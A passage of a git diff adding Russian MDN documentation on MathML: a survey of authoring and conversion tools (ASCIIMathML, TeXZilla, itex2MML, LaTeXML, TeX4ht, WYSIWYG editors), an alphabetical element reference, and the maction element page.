+<p>Современные почтовые клиенты могут посылать и получать электронные сообщения в форматe HTML5, то есть в них можно использовать выражения MathML. Обязательно включите опции "отправить как HTML" и "просмотреть как HTML". В Thunderbird вы можете использовать команду "Вставить HTML", чтобы вставить код HTML + MathML. <a href="http://disruptive-innovations.com/zoo/MathBird/" title="http://disruptive-innovations.com/zoo/MathBird/">MathBird</a> - удобное дополнение для Thunderbird для вставки таких выражений MathML с использованием синтаксиса ввода AsciiMath. Кроме того, поле ввода LaTeX-to-MathML также было интегрировано в <a href="http://www.seamonkey-project.org/">SeaMonkey</a> с версии 2.28 и в <a href="https://www.mozilla.org/thunderbird/">Thunderbird</a> с версии 31. С другой стороны, обработка кода MathML и качество рендеринга MathML <a href="http://www.maths-informatique-jeux.com/blog/frederic/?post/2012/11/14/Writing-mathematics-in-emails#c121" title="http://www.maths-informatique-jeux.com/blog/frederic/?post/2012/11/14/Writing-mathematics-in-emails#c121">зависит от почтового клиента</a>. Даже если ваш браузер поддерживает MathML, ваша электронная почта может помешать вам отправить или получить сообщение с MathML внутри.</p>
+
+<p>Клиенты мгновенного обмена сообщениями на базе Gecko могут интегрировать конвертер на основе Javascript, преобразующий текст в код MathML (см. ниже), и отображать выражения MathML, созданные из обычного текста мгновенных сообщений. Например, есть <a href="https://addons.instantbird.org/en-US/instantbird/addon/340" title="https://addons.instantbird.org/en-US/instantbird/addon/340">дополнение Instantbird</a>, которое обрабатывает выражения LaTeX.</p>
+
+<h2 id="Конвертация_из_простого_синтаксиса">Конвертация из простого синтаксиса</h2>
+
+<p>Для генерации HTML-страниц существует множество простых синтаксических систем (например, wiki или синтаксисы разметки). То же самое верно для MathML: например, синтаксисы ASCII, используемые в калькуляторах, или более мощный язык LaTeX очень популярны среди научного сообщества. В этом разделе мы представляем некоторые из таких инструментов для преобразования из простого синтаксиса в MathML.</p>
+
+<ul>
+ <li>плюсы:
+  <ul>
+   <li>Для написания математических выражений может потребоваться только стандартный текстовый редактор.</li>
+   <li>Доступны многие инструменты, некоторые из которых совместимы с классическим рабочим процессом LaTeX-to-pdf.</li>
+   <li>Это дает доступ к расширенным возможностям макросов, подобных макросам LaTeX.</li>
+  </ul>
+ </li>
+ <li>минусы:
+  <ul>
+   <li>Это может быть труднее в использовании: люди должны изучить синтаксис, опечатки в коде могут легко привести к ошибкам парсинга или рендеринга и т.д.</li>
+   <li>Интерфейс не является дружественным для пользователя: есть только редактор кода без немедленного отображения математического выражения.</li>
+   <li>Ни один из синтаксисов не был стандартизирован, что затрудняет кросс-совместимость между конвертерами. Даже популярный язык LaTeX продолжает пополняться новыми пакетами.</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Конвертация_на_стороне_клиента">Конвертация на стороне клиента</h3>
+
+<p>В Web-среде наиболее очевидным методом преобразования простого синтаксиса в дерево DOM является использование Javascript и, конечно же, для выполнения этой задачи было разработано множество библиотек.</p>
+
+<ul>
+ <li>плюсы:
+  <ul>
+   <li>Очень простая настройка: необходимо только загрузить несколько файлов Javascript и CSS и/или добавить ссылки link в заголовок документа.</li>
+   <li>Это чистое Web-решение: все делается браузерами, и никакие другие программы не должны устанавливаться или компилироваться.</li>
+  </ul>
+ </li>
+ <li>минусы:
+  <ul>
+   <li>Это не будет работать, если у пользователя отключен Javascript.</li>
+   <li>Код MathML не поддерживается Web-сканерами (например, средствами математического поиска или новостными агрегаторами). В частности, ваш контент не будет отображаться правильно на Planet.</li>
+   <li>Конвертация должна выполняться при каждой загрузке страницы, может быть медленной и может конфликтовать с парсингом HTML (например, "&lt;" для тегов или "$" для денежных сумм)</li>
+   <li>Возможно вам понадобится синхронизировать Javascript-конвертер с другими программами Javascript на вашей странице.</li>
+  </ul>
+ </li>
+</ul>
+
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> имеет пользовательский элемент <a href="https://github.com/fred-wang/x-tex">&lt;x-tex&gt;</a> который может использоваться для записи таких вещей, как</p>
+
+<pre><span class="brush: html">&lt;<span class="start-tag">x-tex</span>&gt;</span><span>\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1</span><span class="brush: html">&lt;/<span class="end-tag">x-tex</span>&gt;</span></pre>
+
+<p>и автоматически преобразуется в MathML. Это все еще в процессе разработки и может быть улучшено в будущем благодаря Web-компонентам и DOM. Кроме того, вы можете использовать более традиционный <a href="https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#parsing-tex-expressions-in-your-web-page">Javascript парсинг выражений в процессе загрузки</a> как это используют и все другие инструменты, описанные в этом разделе.</p>
+
+<p>Одним из простых инструментов конвертации на стороне клиента является <a href="http://www1.chapman.edu/~jipsen/mathml/asciimath.html" title="http://www1.chapman.edu/~jipsen/mathml/asciimath.html">ASCIIMathML</a>. Просто загрузите скрипт <a href="http://mathcs.chapman.edu/~jipsen/mathml/ASCIIMathML.js" title="http://mathcs.chapman.edu/~jipsen/mathml/ASCIIMathML.js">ASCIIMathML.js</a> и скопируйте его на ваш Web-сайт. Затем на ваших веб-страницах добавьте тег <code>&lt;script&gt;</code> для загрузки ASCIIMathML и математические выражения, выделенные символом <code>`</code> (знак акцента) будут автоматически обработаны и преобразованы в MathML:</p>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+...
+&lt;script type="text/javascript" src="ASCIIMathML.js"&gt;&lt;/script&gt;
+...
+&lt;/head&gt;
+&lt;body&gt;
+...
+&lt;p&gt;blah blah `x^2 + y^2 = r^2` blah ...
+...
+</pre>
+
+<p><a href="http://math.etsu.edu/LaTeXMathML/" title="http://math.etsu.edu/LaTeXMathML/">LaTeXMathML</a> - это похожий скрипт, который позволяет анализировать больше команд LaTeX. Установка похожа: скопируйте <a href="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.js" title="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.js">LaTeXMathML.js</a> и <a href="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.standardarticle.css" title="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.standardarticle.css">LaTeXMathML.standardarticle.css</a>, добавьте ссылки в заголовок вашего документа, а содержимое LaTeX вашей веб-страницы, помеченное классом "LaTeX", будет автоматически проанализировано и преобразовано в HTML+MathML:</p>
+
+<pre class="brush: html"><span>&lt;<span class="start-tag">head</span>&gt;</span>
+<span>...
+</span><span>&lt;<span class="start-tag">script</span> <span class="attribute-name">type</span>="<a class="attribute-value">text/javascript</a>" <span class="attribute-name">src</span>="<a class="attribute-value">LaTeXMathML.js</a>"&gt;</span><span>&lt;/<span class="end-tag">script</span>&gt;</span><span>
+</span><span>&lt;<span class="start-tag">link</span> <span class="attribute-name">rel</span>="<a class="attribute-value">stylesheet</a>" <span class="attribute-name">type</span>="<a class="attribute-value">text/css</a>" <span class="attribute-name">href</span>="<a class="attribute-value">LaTeXMathML.standardarticle.css</a>" <span>/</span>&gt;</span><span>
+...
+</span><span>&lt;/<span class="end-tag">head</span>&gt;</span><span>
+
+</span><span>&lt;<span class="start-tag">body</span>&gt;</span><span>
+...
+
+</span>&lt;div class="LaTeX"&gt;
+\documentclass[12pt]{article}
+
+\begin{document}
+
+\title{LaTeXML Example}
+\maketitle
+
+\begin{abstract}
+This is a sample LaTeXML document.
+\end{abstract}
+
+\section{First Section}
+
+  $$ \sum_{n=1}^{+\infty} \frac{1}{n^2} = \frac{\pi^2}{6} $$
+
+\end{document}
+&lt;/div&gt;
+...</pre>
+
+<p><a href="http://mathscribe.com/author/jqmath.html" title="http://mathscribe.com/author/jqmath.html">jqMath</a> - это еще один скрипт для парсинга простого LaTeX-подобного синтаксиса, который также принимает не-ASCII символы, такие как  <code>√{∑↙{n=1}↖{+∞} 6/n^2} = π</code> , чтобы написать <math> <mrow> <msqrt> <mrow class="ma-repel-adj"> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>1</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <mn>6</mn> <msup> <mi>n</mi> <mn>2</mn> </msup> </mfrac> </mrow> </msqrt> <mo>=</mo> <mi>π</mi> </mrow> </math>. Установка похожа: загрузите и скопируйте соответствующие файлы <a href="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip" title="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip">Javascript и CSS files</a> на ваш Web сайт и сделайте ссылку на них в заголовке вашей страницы (смотрите файл <code>COPY-ME.html</code> из архива zip в качестве примера). Одним из преимуществ jqMath над предыдущими сценариями является то, что он автоматически добавит некоторые простые правила CSS для математической разметки и сделает формулы доступными для браузеров с ограниченной поддержкой MathML.</p>
+
+<h3 id="Программы_командной_строки">Программы командной строки</h3>
+
+<p>Альтернативный способ - парсить простой синтаксис перед публикацией ваших Web-страниц. В этом случае вы используете программы командной строки для создания и публикации этих статических страниц на своем сервере.</p>
+
+<ul>
+ <li>плюсы:
+  <ul>
+   <li>Вы получаете статические Web-страницы: исходный текст LaTeX не нужно парсить при каждой загрузке страницы, код MathML доступен Web-сканерам, и вы можете легко размещать их на любом Web-сервере.</li>
+   <li>Бинарные программы могут работать быстрее, чем Javascript-программы, и могут быть более содержательными, то есть иметь более полную поддержку LaTeX или генерировать другие форматы, такие как EPUB.</li>
+   <li>Вы можете поддерживать совместимость с другими инструментами для генерации pdf, то есть вы можете использовать один и тот же исходник .tex как для Latex, так и для Latexml.</li>
+  </ul>
+ </li>
+ <li>минусы:
+  <ul>
+   <li>Это требует установки программ на вашем компьютере, что может быть немного сложнее или они могут быть доступны не для всех платформ.</li>
+   <li>Вы должны запускать программы на своем компьютере и иметь какой-то рабочий процесс для получения веб-страниц в конце; это может быть немного утомительно.</li>
+   <li>Двоичные программы не подходят для их интеграции в расширение Mozilla или приложение XUL.</li>
+  </ul>
+ </li>
+</ul>
+
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> может использоваться <a href="https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla#usage-from-the-command-line">из командной строки</a> и будет, по существу, иметь ту же поддержку, что и itex2MML, описанный ниже. Однако поведение фильтра потока еще не реализовано.</p>
+
+<p>Если вы хотите просто парсить простые математические выражения LaTeX, вы можете попробовать такие инструменты, как <a href="http://golem.ph.utexas.edu/~distler/blog/itex2MML.html" title="http://golem.ph.utexas.edu/~distler/blog/itex2MML.html">itex2MML</a> или <a href="http://gva.noekeon.org/blahtexml/" title="http://gva.noekeon.org/blahtexml/">Blahtex</a>. Последнее часто доступно в дистрибутивах Linux. Давайте рассмотрим первое, которое изначально было написано Полом Гартсайдом в начале проекта Mozilla MathML и с тех пор поддерживается Жаком Дистлером. Это небольшой фильтр потока, написанный на C/C++ и сгенерированный с помощью flex и bison; в частности, оно очень быстрое. Установите flex/bison, а также классический компилятор и сгенерируйте инструменты. В Unix вы можете загрузить itex2MML, скомпилировать и установить его:</p>
+
+<pre class="brush: bash">wget http://golem.ph.utexas.edu/~distler/blog/files/itexToMML.tar.gz; \
+tar -xzf itexToMML.tar.gz; \
+cd itex2MML/itex-src;
+make
+sudo make install
+</pre>
+
+<p>Теперь предположим, что у вас есть HTML страница с фрагментами TeX, разделенными долларами:</p>
+
+<pre class="brush: html">input.html
+
+...
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;$\sqrt{a^2-3c}$&lt;/p&gt;
+  &lt;p&gt;$$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $$&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Затем, чтобы сгенерировать HTML страницу из input.html, с заменой выражений TeX на выражения MathML, просто выполните</p>
+
+<pre>cat input.html | itex2MML &gt; output.html</pre>
+
+<p>Существуют еще более содержательные инструменты для преобразования произвольных документов LaTeX в HTML+MathML. Например, <a href="https://www.tug.org/tex4ht/">TeX4ht</a> часто включается в дистрибутивы TeX и имеет возможность использовать MathML вместо изображений PNG. Эта команда создаст XHTML+MathML документ foo.xml из LaTeX исходника foo.tex:</p>
+
+<pre>   mk4ht mzlatex foo.tex # Linux/Mac platforms
+   mzlatex foo.tex       # Windows platform
+</pre>
+
+<p>Заметим, что <a href="https://github.com/michal-h21/tex4ebook">tex4ebook</a> опирается на TeX4ht для создания документов EPUB.</p>
+
+<p><a href="http://dlmf.nist.gov/LaTeXML/" name="LaTeXML">LaTeXML</a> - это еще один инструмент, который может создавать документы HTML5 и EPUB. Пользователи Windows могут посмотреть это <a href="https://www.youtube.com/watch?v=Dg881w2e-lI">видео-руководство</a>. Для LaTeX файла foo.tex, вы можете использовать следующие простые команды:</p>
+
+<pre>  latexmlc --dest foo.html foo.tex # Создает HTML5 документ foo.html
+  latexmlc --dest foo.epub foo.tex # Создает EPUB документ foo.epub</pre>
+
+<p>В случаях с браузерами без поддержки MathML, вы можете использовать параметр <code>--javascript</code>, чтобы сообщить LaTeXML о включении одного из <a href="#Fallback_for_Browsers_without_MathML_support">дополнительных скриптов</a>:</p>
+
+<pre>  latexmlc --dest foo.html --javascript=<code class="language-html"><span class="script token"><span class="tag token"><span class="attr-value token">http://fred-wang.github.io/mathml.css/mspace.js</span></span></span></code> foo.tex  # Вариант с добавлением CSS
+  latexmlc --dest foo.html --javascript=<code class="language-html"><span class="script token"><span class="tag token"><span class="attr-value token">http://fred-wang.github.io/mathjax.js/mpadded-min.js</span></span></span></code> foo.tex # Вариант с добавлением MathJax</pre>
+
+<p>Если ваш документ LaTeX - большой, вы можете разбить его на несколько небольших страниц, а не размещать все на одной большой странице. Например, это разделит страницы на уровне <code>\section</code>:</p>
+
+<pre>  latexmlc --dest foo.html --splitat=section foo.tex
+</pre>
+
+<h3 id="Конвертация_на_стороне_сервера">Конвертация на стороне сервера</h3>
+
+<ul>
+ <li>плюсы:
+  <ul>
+   <li>Преобразование выполняется на стороне сервера и полученный текст MathML можно кэшировать, что является более эффективным и чистым, чем преобразование на стороне клиента.</li>
+  </ul>
+ </li>
+ <li>минусы:
+  <ul>
+   <li>Это может быть немного сложнее настроить, так как вам нужны права администратора на вашем сервере.</li>
+  </ul>
+ </li>
+</ul>
+
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a>, <a href="http://dlmf.nist.gov/LaTeXML/">LaTeXML</a> и <a href="https://github.com/gwicke/mathoid">Mathoid</a>  могут использоваться для выполнения преобразования LaTeX-to-MathML на стороне сервера.<a href="http://instiki.org/show/HomePage"> Instiki</a> и <a href="https://www.mediawiki.org/wiki/MediaWiki">MediaWiki</a> - это два wiki движка, которые поддерживают преобразование LaTeX-to-MathML.</p>
+
+<h2 id="Графический_интерфейс">Графический интерфейс</h2>
+
+<h3 id="Поле_ввода">Поле ввода</h3>
+
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> имеет несколько интерфейсов, включая плагин <a href="http://ckeditor.com/addon/texzilla">CKEditor</a>, используемый в MDN, <a href="http://fred-wang.github.io/TeXZilla/">онлайн демо</a> и <a href="https://addons.mozilla.org/en-US/firefox/addon/texzilla/">дополнение Firefox</a> или <a href="https://marketplace.firefox.com/app/texzilla-1/">FirefoxOS Webapp</a>. Он также был интегрирован в <a href="http://www.seamonkey-project.org/">SeaMonkey</a> с версии 2.28 и в <a href="https://www.mozilla.org/thunderbird/">Thunderbird</a> с версии 31.<a href="http://abisource.org/"> Abiword</a> содержит небольшой редактор уравнений, основанный на itex2MML. Наконец,<a href="http://www.bluegriffon.com/"> Bluegriffon</a> имеет дополнение для вставки формул MathML в ваш документ, используя синтаксис, подобный ASCII/LaTeX.</p>
+
+<p style="text-align: center;"><img alt="BlueGriffon" src="http://www.bluegriffon.com/public/shots/mathml-shot1.png" style="height: 467px; width: 358px;"></p>
+
+<h3 id="WYSIYWG_редакторы">WYSIYWG редакторы</h3>
+
+<p><a href="http://www.firemath.info/">Firemath</a> - это расширение для Firefox, которое является WYSIWYG редактором MathML. Предварительный просмотр формулы осуществляется с помощью механизма рендеринга Mozilla. Сгенерированный код MathML доступен в нижней части окна. Используйте текстовое поле для ввода простых элементов (токенов) и кнопки для создания более сложных конструкций. После того, как вы завершите редактирование, вы сможете сохранить свой документ в виде страницы XHTML.</p>
+
+<p><a href="http://www.lyx.org/">LyX</a> - это графический LaTeX редактор, который имеет встроенную поддержку экспорта XHTML+MathML и может быть скрнфигурирован на использование конвертеров вида LaTeX-to-(X)HTML. Например, вы можете настроить его для экспорта <a href="https://github.com/brucemiller/LaTeXML/wiki/Integrating-LaTeXML-into-TeX-editors#lyx">LaTeXML HTML5/EPUB</a>.</p>
+
+<p>В <a href="http://www.openoffice.org/">OpenOffice</a> и <a href="http://libreoffice.org/">LibreOffice</a> есть редакторы уравнений (File → New → Formula). Это наполовину WYSIWYG: с помощью панели уравнений/клавиатуры вы вводите исходный текст для формулы и предосмотр полученной формулы соответственно обновляется. Редактор использует свой собственный синтаксис "StarMath" для исходных текстов, но при сохранении документа генерируется также и соответствующий код MathML. Для получения кода MathML, сохраните документ как mml и откройте его любым текстовым редактором. Как вариант, вы можете разархивировать файл odf (на самом деле zip-архив) и открыть xml файл <code>content.xml</code>.</p>
+
+<p style="text-align: center;"><img alt="Open Office Math" src="/@api/deki/files/4261/=openoffice.png" style="height: 527px; width: 483px;"></p>
+
+<p><a href="http://www.w3.org/Amaya/">Amaya</a> - это Web-редактор от W3C, способный обрабатывать MathML внутри документов XHTML. Используйте элементы из Elements и панель Special Chars для создания различных продвинутых математических конструкций. Простой текст, такой как <code>a+2</code>, автоматически парсится и создается соответствующая разметка MathML. Как только вы закончите, вы cможете напрямую сохранить свою страницу XHTML и открыть ее в Mozilla.</p>
+
+<h2 id="Распознавание_видимых_символов_и_рукописного_текста">Распознавание видимых символов и рукописного текста</h2>
+
+<p><a href="http://www.inftyreader.org/">Inftyreader</a> способен выполнять некоторое распознавание видимых символов, включающее перевод математических уравнений в MathML. Другие инструменты могут выполнять распознавание рукописного ввода, например, <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd371698(v=vs.85).aspx">Windows Math Input Panel</a> или онлайн конвертер <a href="https://webdemo.myscript.com/views/math.html" title="http://webdemo.visionobjects.com/portal.html">Web Equation</a>.</p>
+
+<div class="originaldocinfo">
+<h3 id="Информация_об_исходном_документе">Информация об исходном документе</h3>
+
+<ul>
+ <li>Автор(ы): Frédéric Wang</li>
+ <li>Другие участники: Florian Scholz</li>
+ <li>Информация об авторских правах (Copyright): Авторские права на данный контент (© 2010) принадлежат отдельным участникам проекта mozilla.org; Контент доступен в соответствии с лицензией Creative Commons | <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Подробности</a>.</li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/ru/web/mathml/element/index.html b/files/ru/web/mathml/element/index.html
new file mode 100644
index 0000000000..b781c14904
--- /dev/null
+++ b/files/ru/web/mathml/element/index.html
@@ -0,0 +1,144 @@
+---
+title: Справка по элементам MathML
+slug: Web/MathML/Element
+tags:
+  - MathML
+  - MathML Reference
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/MathML/Element
+---
+<p>Здесь представлен алфавитный список <strong>презентационных (presentation)</strong> элементов MathML.</p>
+
+<p>Термин <strong>презентационная разметка  (presentation markup)</strong> используется для описания разметки отображения математической системы обозначений, тогда как <strong>разметка содержимого (content markup)</strong> обеспечивает базовый математический смысл и не должна воспроизводиться парсером MathML (смотрите {{ bug(276028) }}). Если вы хотите узнать больше о разметке контента, вы можете изучить <a class="external" href="http://www.w3.org/TR/MathML3/chapter4.html" title="http://www.w3.org/TR/MathML3/chapter4.html">Chapter 4</a> из <a class="external" href="http://www.w3.org/TR/MathML3/" title="http://www.w3.org/TR/MathML3/">спецификации MathML 3</a>.</p>
+
+<div class="multiColumnList">
+<h3 id="math">math</h3>
+
+<ul>
+ <li>{{ MathMLElement("math") }} (Top-level element)</li>
+</ul>
+
+<h3 id="A">A</h3>
+
+<ul>
+ <li>{{ MathMLElement("maction") }} (Binded actions to sub-expressions)</li>
+ <li>{{ MathMLElement("maligngroup") }} (Alignment group)</li>
+ <li>{{ MathMLElement("malignmark") }} (Alignment points)</li>
+</ul>
+
+<h3 id="E">E</h3>
+
+<ul>
+ <li>{{ MathMLElement("menclose") }} (Enclosed contents)</li>
+ <li>{{ MathMLElement("merror") }} (Enclosed syntax error messages)</li>
+</ul>
+
+<h3 id="F">F</h3>
+
+<ul>
+ <li>{{ MathMLElement("mfenced") }} (Parentheses)</li>
+ <li>{{ MathMLElement("mfrac") }} (Fraction)</li>
+</ul>
+
+<h3 id="G">G</h3>
+
+<ul>
+ <li>{{ MathMLElement("mglyph") }} (Displaying non-standard symbols)</li>
+</ul>
+
+<h3 id="I">I</h3>
+
+<ul>
+ <li>{{ MathMLElement("mi") }} (Identifier)</li>
+</ul>
+
+<h3 id="L">L</h3>
+
+<ul>
+ <li>{{ MathMLElement("mlabeledtr") }} (Labeled row in a table or a matrix)</li>
+ <li>{{ MathMLElement("mlongdiv") }} (Long division notation)</li>
+</ul>
+
+<h3 id="M">M</h3>
+
+<ul>
+ <li>{{ MathMLElement("mmultiscripts") }} (Prescripts and tensor indices)</li>
+</ul>
+
+<h3 id="N">N</h3>
+
+<ul>
+ <li>{{ MathMLElement("mn") }} (Number)</li>
+</ul>
+
+<h3 id="O">O</h3>
+
+<ul>
+ <li>{{ MathMLElement("mo") }} (Operator)</li>
+ <li>{{ MathMLElement("mover") }} (Overscript)</li>
+</ul>
+
+<h3 id="P">P</h3>
+
+<ul>
+ <li>{{ MathMLElement("mpadded") }} (Space around content)</li>
+ <li>{{ MathMLElement("mphantom") }} (Invisible content with reserved space)</li>
+</ul>
+
+<h3 id="R">R</h3>
+
+<ul>
+ <li>{{ MathMLElement("mroot") }} (Radical with specified index)</li>
+ <li>{{ MathMLElement("mrow") }} (Grouped sub-expressions)</li>
+</ul>
+
+<h3 id="S">S</h3>
+
+<ul>
+ <li>{{ MathMLElement("ms") }} (String literal)</li>
+ <li>{{ MathMLElement("mscarries") }} (Annotations such as carries)</li>
+ <li>{{ MathMLElement("mscarry") }} (Single carry, child element of {{ MathMLElement("mscarries") }})</li>
+ <li>{{ MathMLElement("msgroup") }} (Grouped rows of {{ MathMLElement("mstack") }} and {{ MathMLElement("mlongdiv") }} elements)</li>
+ <li>{{ MathMLElement("msline") }} (Horizontal lines inside {{ MathMLElement("mstack") }} elements)</li>
+ <li>{{ MathMLElement("mspace") }} (Space)</li>
+ <li>{{ MathMLElement("msqrt") }} (Square root without an index)</li>
+ <li>{{ MathMLElement("msrow") }} (Rows in {{ MathMLElement("mstack") }} elements)</li>
+ <li>{{ MathMLElement("mstack") }} (Stacked alignment)</li>
+ <li>{{ MathMLElement("mstyle") }} (Style change)</li>
+ <li>{{ MathMLElement("msub") }} (Subscript)</li>
+ <li>{{ MathMLElement("msup") }} (Superscript)</li>
+ <li>{{ MathMLElement("msubsup") }} (Subscript-superscript pair)</li>
+</ul>
+
+<h3 id="T">T</h3>
+
+<ul>
+ <li>{{ MathMLElement("mtable") }} (Table or matrix)</li>
+ <li>{{ MathMLElement("mtd") }} (Cell in a table or a matrix)</li>
+ <li>{{ MathMLElement("mtext") }} (Text)</li>
+ <li>{{ MathMLElement("mtr") }} (Row in a table or a matrix)</li>
+</ul>
+
+<h3 id="U">U</h3>
+
+<ul>
+ <li>{{ MathMLElement("munder") }} (Underscript)</li>
+ <li>{{ MathMLElement("munderover") }} (Underscript-overscript pair)</li>
+</ul>
+
+<h3 id="Other_elements">Other elements</h3>
+
+<ul>
+ <li>{{ MathMLElement("semantics") }} (Container for semantic annotations)</li>
+ <li><a href="/en-US/docs/MathML/Element/semantics"><code>&lt;annotation&gt;</code></a> (Data annotations)</li>
+ <li><a href="/en-US/docs/MathML/Element/semantics"><code>&lt;annotation-xml&gt;</code></a> (XML annotations)</li>
+</ul>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/MathML" title="/en-US/docs/Web/MathML">MathML</a></li>
+ <li><a href="/en-US/docs/Web/MathML/Attribute" title="/en-US/docs/Web/MathML/Attribute">MathML attribute reference</a></li>
+</ul>
diff --git a/files/ru/web/mathml/element/maction/index.html b/files/ru/web/mathml/element/maction/index.html
new file mode 100644
index 0000000000..4df5beac57
--- /dev/null
+++ b/files/ru/web/mathml/element/maction/index.html
@@ -0,0 +1,124 @@
+---
+title: <maction>
+slug: Web/MathML/Element/maction
+tags:
+  - MathML
+  - MathML Reference
+  - 'MathML:Element'
+  - 'MathML:Enlivening Expressions'
+translation_of: Web/MathML/Element/maction
+---
+<div>{{MathMLRef}}</div>
+
+<div class="summary">
+<p>Элемент MathML <strong><code>&lt;maction&gt;</code></strong> обеспечивает возможность связать действия с (под-) выражениями. Само действие задается с помощью атрибута<code>actiontype</code>, который может принимать несколько значений. Чтобы указать каким дочерним элементам адресовано действие, вы можете использовать атрибут <code>selection</code>.</p>
+</div>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<dl>
+ <dt id="attr-actiontype">actiontype</dt>
+ <dd>Действие, которое устанавливает, что происходит с этим элементом. Возможные значения:
+ <ul>
+  <li><code>statusline</code>: Если кликнуть на <em>выражении (expression)</em> или читатель наведет курсор на него, <em>сообщение (message)</em> будет отправлено в строку состояния браузера. Синтаксис: <code>&lt;maction actiontype="statusline"&gt; <em>expression</em> <em>message</em> &lt;/maction&gt;.</code></li>
+  <li><code>toggle</code>: Если кликнуть на подвыражении, рендеринг чередует отображение выбранных подвыражений. Поэтому с каждым кликом <code>выбираемое</code> значение меняется на следующее.<br>
+   Синтаксис: <code>&lt;maction actiontype="toggle" selection="<em>positive-integer</em>" &gt; <em>expression1</em> <em>expression2</em> <em>expressionN</em> &lt;/maction&gt;</code>.</li>
+  <li><code>tooltip</code>: Когда указатель перемещается над <em>выражением (expression)</em>, рядом с выражением отображается всплывающая подсказка с <em>сообщением (message)</em>.<br>
+   Синтаксис:<code> &lt;maction actiontype="tooltip"&gt; <em>expression</em> <em>message</em> &lt;/maction&gt;.</code></li>
+ </ul>
+ </dd>
+ <dt id="attr-class-id-style">class, id, style</dt>
+ <dd>Предусматривается для ипользования с <a href="/ru/docs/CSS">таблицами стилей</a>.</dd>
+ <dt id="attr-href">href</dt>
+ <dd>Используется для установки гиперссылки на указанный URI.</dd>
+ <dt id="attr-mathbackground">mathbackground</dt>
+ <dd>Цвет фона. Вы можете использовать <code>#rgb</code>, <code>#rrggbb</code> и <a href="/ru/docs/CSS/color_value#Color_Keywords">названия цветов HTML</a>.</dd>
+ <dt id="attr-mathcolor">mathcolor</dt>
+ <dd>Цвет текста и цвет пунктирной линии. Вы можете использовать <code>#rgb</code>, <code>#rrggbb</code> и <a href="/ru/docs/CSS/color_value#Color_Keywords">названия цветов HTML</a>.</dd>
+ <dt id="attr-selection">selection</dt>
+ <dd>Дочерний элемент, которому адресуется действие. Значение по умолчанию равно 1, что соответствует первому дочернему элементу.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем примере используется атрибут <code>actiontype со значением </code>"toggle" :</p>
+
+<pre class="brush: html">&lt;math&gt;
+
+&lt;maction actiontype="toggle"&gt;
+
+  &lt;mfrac&gt;
+    &lt;mn&gt;6&lt;/mn&gt;
+    &lt;mn&gt;8&lt;/mn&gt;
+  &lt;/mfrac&gt;
+
+  &lt;mfrac&gt;
+    &lt;mrow&gt;
+      &lt;mn&gt;3&lt;/mn&gt;
+      &lt;mo&gt;&amp;sdot;&lt;/mo&gt;
+      &lt;mn&gt;2&lt;/mn&gt;
+    &lt;/mrow&gt;
+    &lt;mrow&gt;
+      &lt;mn&gt;4&lt;/mn&gt;
+      &lt;mo&gt;&amp;sdot;&lt;/mo&gt;
+      &lt;mn&gt;2&lt;/mn&gt;
+    &lt;/mrow&gt;
+  &lt;/mfrac&gt;
+
+  &lt;mfrac&gt;
+    &lt;mn&gt;3&lt;/mn&gt;
+    &lt;mn&gt;4&lt;/mn&gt;
+  &lt;/mfrac&gt;
+
+&lt;/maction&gt;
+
+&lt;/math&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter3.html#presm.maction', 'maction') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Текущая спецификация</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter3.html#presm.maction', 'maction') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td><span class="tlid-translation translation"><span title="">Начальная спецификация</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами"><span class="tlid-translation translation"><span title="">Совместимость с браузера</span></span>ми</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("mathml.elements.maction")}}</p>
+
+<p> </p>
+
+<h2 id="Специфика_Gecko">Специфика Gecko</h2>
+
+<ul>
+ <li>До Gecko 9.0 {{ geckoRelease("9.0") }} была поддержка нестандартного значения <code>restyle</code> для атрибута <code>actiontype</code>. <span class="tlid-translation translation"><span title="">Это значение было удалено.</span></span></li>
+ <li>До Gecko 14.0 {{ geckoRelease("14.0") }} значение <code>statusline</code> для атрибута <code>actiontype</code> использовало нестандартный синтаксис. Это было исправлено в соответствии со спецификацией MathML.
+  <pre class="brush: html">&lt;maction actiontype="statusline#(message)"&gt;
+(expression)
+&lt;/maction&gt;
+</pre>
+ </li>
+ <li>В Gecko 15.0 {{geckoRelease("15.0")}} атрибут <code>selection</code> учитывается только со значением actiontype <code>"toggle"</code>.</li>
